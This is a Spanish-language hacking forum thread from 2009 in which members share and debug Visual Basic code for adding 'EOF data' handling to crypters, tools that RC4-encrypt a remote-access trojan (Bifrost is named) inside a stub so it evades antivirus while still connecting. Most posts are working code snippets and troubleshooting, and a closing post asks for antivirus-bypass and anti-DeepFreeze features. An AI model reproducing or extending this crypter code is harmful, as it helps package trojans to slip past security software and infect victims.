Página 1 de 2

Agregar EOF Data de opcion en nuestros crypters

Publicado: 07 Jul 2009, 21:55
por LuOpP
Bueno pos respondiendo a una duda de un usuario k keria saber al forma mas facil de añadirle La opcion de EOF Data aki va la forma de hacerlo o almenos como hago yo

Lo primero añadimos estas 3 funciones a nuestro crypter

Código: Seleccionar todo

Public Function GetNullBytes(lNum) As String
Dim sBuf As String
Dim i As Integer
For i = 1 To lNum
sBuf = sBuf & Chr(0)
Next
GetNullBytes = sBuf
End Function


Public Function ReadEOFData(sFilePath As String) As String
On Error GoTo Err:
Dim sFileBuf As String, sEOFBuf As String, sChar As String
Dim lFF As Long, lPos As Long, lPos2 As Long, lCount As Long
If Dir(sFilePath) = "" Then GoTo Err:
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
ReadEOFData = StrReverse(sEOFBuf)
If ReadEOFData = "" Then
MsgBox "EOF data no detectada!", vbInformation
Else
MsgBox "EOF data detectada!", vbInformation
End If
Exit Function
Err:
ReadEOFData = vbNullString
End Function


Sub WriteEOFData(sFilePath As String, sEOFData As String)
Dim sFileBuf As String
Dim lFF As Long
On Error Resume Next
If Dir(sFilePath) = "" Then Exit Sub
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
Kill sFilePath
lFF = FreeFile
Open sFilePath For Binary As #lFF
Put #lFF, , sFileBuf & sEOFData
Close #lFF
End Sub
En esencia tiene dos importantes k son "ReadEOFData" y "WriteEOFData" con la primera leera la EOF data del archivo original y con la 2º la escribira en el archivo k keramos. Vamos a poner por caso el BF como ejemplo pos hariamos ReadEOFData del server orginal antes de encryptar y cuando ya este encryptado un WriteEOFData

De k forma?
Pos por ejemplo en el boton de Crypt de un server luego de esto k se suele poner por si el user no ha seleccionado neustro server del BF:

Código: Seleccionar todo

      If textitem.Text = "" Or txtitem.Text = "Seleccione el archivo" Then
      MsgBox "Seleccione un archivo", vbExclamation, Me.Caption
      Exit Sub
      Else
(El "textitem.Text" sera la direccion del server)
Bueno pos lo k hacemos a continuacion es leer el EOF y guardarlo en una variable para luego poder usarlo con el write

Antes de poner directamente como es para k lo kopieis sin mas voy a intetar explicaros lo k yo se

Vamos a leer la funcion de ReadEOFData
"Public Function ReadEOFData(sFilePath As String) As String"
Lo k esta entre parentesis () son las instrucciones k espera recibir y "As string" k tiene k ser una cadena de caracteres, para no enrollarnos espera recibir el archivo al k leer la EOF data (obvio no??)

Pos amso a ello debajo de akello k akabo de poner arriba vamos a poner una varible k sea

Código: Seleccionar todo

TheEOF = ReadEOFData(textitem.Text)
No nos olvidemos de declararla como una cadena de caracteres,si no lo has hecho ya ve a decaraciones y pon
Dim TheEOF$
(poner el "$" es lo mismo k poner As String, yo lo uso mas k es mas corto, al = k "As Integer es un "%"" As long un "&" bueno y asi...)
Vale ya tenemos el EOF del nuestro server BF copiado en memoria como "TheEOF" (para eso sirven las varibles)
K nos keda?? pos si has pensado en escribirlo en nuestro server crypteado has hacertado y asi de afcil es:
Al fianal del "Private Sub cmdCrypt_Click()" el cmdCrypt es mi boton de cryptear el write yo lo tengo antes del

Código: Seleccionar todo

     MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption 
pero tanto da = si lo poneis despues, vale pero como lo pongo? pos amos al "WriteEOFData" k nso pide?

Código: Seleccionar todo

Sub WriteEOFData(sFilePath As String, sEOFData As String)
Facil no?¿? Primero el archivo al k añadirle el EOF data, y luego el eof data (Logico...)
Como lo ponemos¿ asi:

Código: Seleccionar todo

Call WriteEOFData(CommonDialog1.FileName, TheEOF)
fijo k teneis algo como esto:

Código: Seleccionar todo

With CommonDialog1
.DialogTitle = "Select Output"
.DefaultExt = "exe"
.Filter = "Executables (*.exe)|*.exe|All Files (*.*)|*.*"
.ShowSave
End With
Me imagino k sabreis k es entonces "CommonDialog1.FileName"

Y TheEOF ?? pos si la variable en la k habiamso guardado antes el eof de nuestro server

Bueno pos eso es todo espero k haya servido de ayuda ( hay esta lo basico) si teneis alguan duda podeis pregutar lo k kerais

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 00:57
por AdRi4N
Parece muy bueno !!!, lo pruevo y te digo !!! Pero.. y si el archivo no tiene EOF ??

edito: yo me pierdo un poco en vb.. cuando pongo encryptar me dice si tiene eof o no, pero no se le añade el eof... ke es lo k falta?

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 09:30
por LuOpP
No se muy bien a k te refires, mandame un PM y hablamos pro msn k me es mas facil ayudarte

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 10:05
por xZiriuZx
AdRpsp escribió:Parece muy bueno !!!, lo pruevo y te digo !!! Pero.. y si el archivo no tiene EOF ??

edito: yo me pierdo un poco en vb.. cuando pongo encryptar me dice si tiene eof o no, pero no se le añade el eof... ke es lo k falta?
brother el modulo ya viene con un msgbox que dice EOF data no detectado revisa bien el code que puso el compañero y ahi sale el mensaje si no lo detecta

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 10:21
por Xpro
Haber, para hacerlo más facil, la EOF data funciona así, tienes el módulo que bien pones ok, no lo he visto pero me imagino que es el de siempre, luego:

Tienes la check que poen " EOF ", ahora en el cliente ponemos:


If check1.value = 1 Then
dim read as string
read = ReadEofData((nombre_del_commanddialog).filename
end if

Que haga todo lo que tiene que hacer de crear el server poner los datos blablablabla, y al final, antes del tipico msgbox de " Archivos protegidos " , pones :

If check1.value = 1 Then
Call WriteEOFData(App.Path & "\nuestro_server_creado_ya.exe", read)
end if




De esa manera, le grabamos el eof data recojida en la variable read, Un saludo

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 22:18
por AdRi4N
xpro escribió:Haber, para hacerlo más facil, la EOF data funciona así, tienes el módulo que bien pones ok, no lo he visto pero me imagino que es el de siempre, luego:

Tienes la check que poen " EOF ", ahora en el cliente ponemos:


If check1.value = 1 Then
dim read as string
read = ReadEofData((nombre_del_commanddialog).filename
end if

Que haga todo lo que tiene que hacer de crear el server poner los datos blablablabla, y al final, antes del tipico msgbox de " Archivos protegidos " , pones :

If check1.value = 1 Then
Call WriteEOFData(App.Path & "\nuestro_server_creado_ya.exe", read)
end if




De esa manera, le grabamos el eof data recojida en la variable read, Un saludo

Muchas gracias pero lo ke kiero es ke automaticamente si tiene EOF pues ke lo ponga... y si no logicamente ke no xD
graciass !

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 08 Jul 2009, 22:26
por AdRi4N
ya esta xD era una boberia !! xD

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 00:00
por Invitado
Todo el proceso me va bien ,Pero al terminar la encriptacion y ejecutar el servidor de Bifrost este no seconecta
Parece que no le se copio la Informacion guardada en la variable TheEOF al servidor ya que si se ejecuta sin encriptar funciona bien.
Adelanto que no es un fallo de el cripter ya que si que encripta cualquier aplicacion sin EOF funciona.

Este es mi code

(DEl BOTON BUSCAR ARCHIVO)

Código: Seleccionar todo

Private Sub cmdBuscar_Click()
With CD
        .DialogTitle = "Seleccione su servidor para encriptar!"
        .Filter = "Aplicaciones EXE|*.exe" 
        .ShowOpen 
        End With 
        txtarchivo.Text = CD.FileName
              
       If Not CD.FileName = vbNullString Then 
       txtarchivo.Text = CD.FileName 
       MsgBox "Archivo cargado correctamente!" 

       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
       End If
    
End Sub
EL WITH PERTENECIENTE AL BOTON ENCRIPTAR

Código: Seleccionar todo

With CD
                    
       .DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
       .Filter = "Aplicaciones EXE|*.exe"
       .ShowSave 
       End With
       
      If Not CD.FileName = vbNullString Then 
      Archivo = RC4(Archivo, "H3x@") 
    
      Open CD.FileName For Binary As #1 
     Put #1, , stub & "##$$##" & Archivo & "##$$##"
     Close #1 
     
      
    
     Call WriteEOFData(CD.FileName, TheEOF) <--AQui CODE DE EOF

     
     MsgBox "Servidor Encriptado Correctamente!", vbInformation, Me.Caption
 
 End If

End Sub

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 09:48
por LuOpP

Código: Seleccionar todo

       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
Eso tiene k ir al principio del boton de encryptar no en el de buscar
Si lo pusistes ahi para k kuando se cargue el archivo avise si tiene eof o no, peudes dejarlo pero has de ponerlo tb en la funcion del boton de encryptar ya k de esa forma la variable TheEOF no es la misma k en el sub del encrytpar y no te escribira ninguna.
Mira prueba esto (en un proyecto aparte:

Código: Seleccionar todo

Option Explicit


Private Sub Form_Load()
Dim TheEOF%
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Dim TheEOF%
Print TheEOF
End Sub
Al cargar te escribira 3 pero al darle click en un boton k escribira?,3? pos no va escribir 0

Si kieres k escriba el 3 al darle al boton tienes dos opciones (las mismas k kon tu problema)
una ponerlo otra vez lo de TheEOF = 3 otra... pudes declarar general la variable (ve a declarations y escribe Dim TheEOF%
asi kedara

Código: Seleccionar todo

Option Explicit
Dim TheEOF%


Private Sub Form_Load()
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Print TheEOF
End Sub
 
Ahora al cargar escribira 3 y al darle al botono?0? pos no ahora si k escribira 3

Edito: creo k me he liado un poko.
Para solucionar tu problema:
Pillas el " Dim TheEOF$" y lo pones Declarations (arriba del todo) luego kitalo de donde lo tengas

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 12:05
por Xpro
LuOpP escribió:

Código: Seleccionar todo

       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
Eso tiene k ir al principio del boton de encryptar no en el de buscar
Si lo pusistes ahi para k kuando se cargue el archivo avise si tiene eof o no, peudes dejarlo pero has de ponerlo tb en la funcion del boton de encryptar ya k de esa forma la variable TheEOF no es la misma k en el sub del encrytpar y no te escribira ninguna.
Mira prueba esto (en un proyecto aparte:

Código: Seleccionar todo

Option Explicit


Private Sub Form_Load()
Dim TheEOF%
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Dim TheEOF%
Print TheEOF
End Sub
Al cargar te escribira 3 pero al darle click en un boton k escribira?,3? pos no va escribir 0

Si kieres k escriba el 3 al darle al boton tienes dos opciones (las mismas k kon tu problema)
una ponerlo otra vez lo de TheEOF = 3 otra... pudes declarar general la variable (ve a declarations y escribe Dim TheEOF%
asi kedara

Código: Seleccionar todo

Option Explicit
Dim TheEOF%


Private Sub Form_Load()
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Print TheEOF
End Sub
 
Ahora al cargar escribira 3 y al darle al botono?0? pos no ahora si k escribira 3

Edito: creo k me he liado un poko.
Para solucionar tu problema:
Pillas el " Dim TheEOF$" y lo pones Declarations (arriba del todo) luego kitalo de donde lo tengas




"
LuOpP escribió:

Código: Seleccionar todo

       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
"


No tiene porqué, yo lo pongo siempre al final, antes del MSGBOX , y de momento, nunca me a roto nada, te recomiendo, que la primera vez, en ves de usar el cd.filename aslo así:


Call WriteEofData (App.path & "\el_server_previo.exe",variable_leer_Eof)


Saludos

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 12:50
por LuOpP
Yo no he dicho k no se pueda poner al final antes del msgbox (alomejor me explik mal), èl lo k esta haciendo es declarar la variable en una función aparte de la k usa el write conlok esa variable solo le va a servir (en este caso) para el sub de "BOTON BUSCAR ARCHIVO" kon lo kual o vuelve a declarar dentro de "BOTON ENCRIPTAR" (o en declarations para ponerla como general)o no le va funcar

Pd:Tal vez este ekivocado, tan solo llebo un mes con esto del Vb pero creok es asi

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 14:13
por Invitado
Muchas Gracias ya resolvi y Entendi !

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 14:20
por LuOpP
De nada, para eso estamos todos aki, para aprender y enseñar lo k podamos

salu2

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 14:31
por Invitado
Viendo que estas conectado aprovechar para decirte que estoy mirando las opciones para hir incorporandolas ,Pedirte si Me puedes ayudar con alguna Me me lo envias a mi MSN ,sino pues lo posteas si te parece bien.


Bypass WFP

Anti DeepFreeze

Bypass KAV Proactive Defense

Icono Final

Realign PE Header

Re: Agregar EOF Data de opcion en nuestros crypters

Publicado: 09 Jul 2009, 14:40
por LuOpP
Ahora no estoy en mi pc cuando pueda te aviso y te intento ayudar en lo k peuda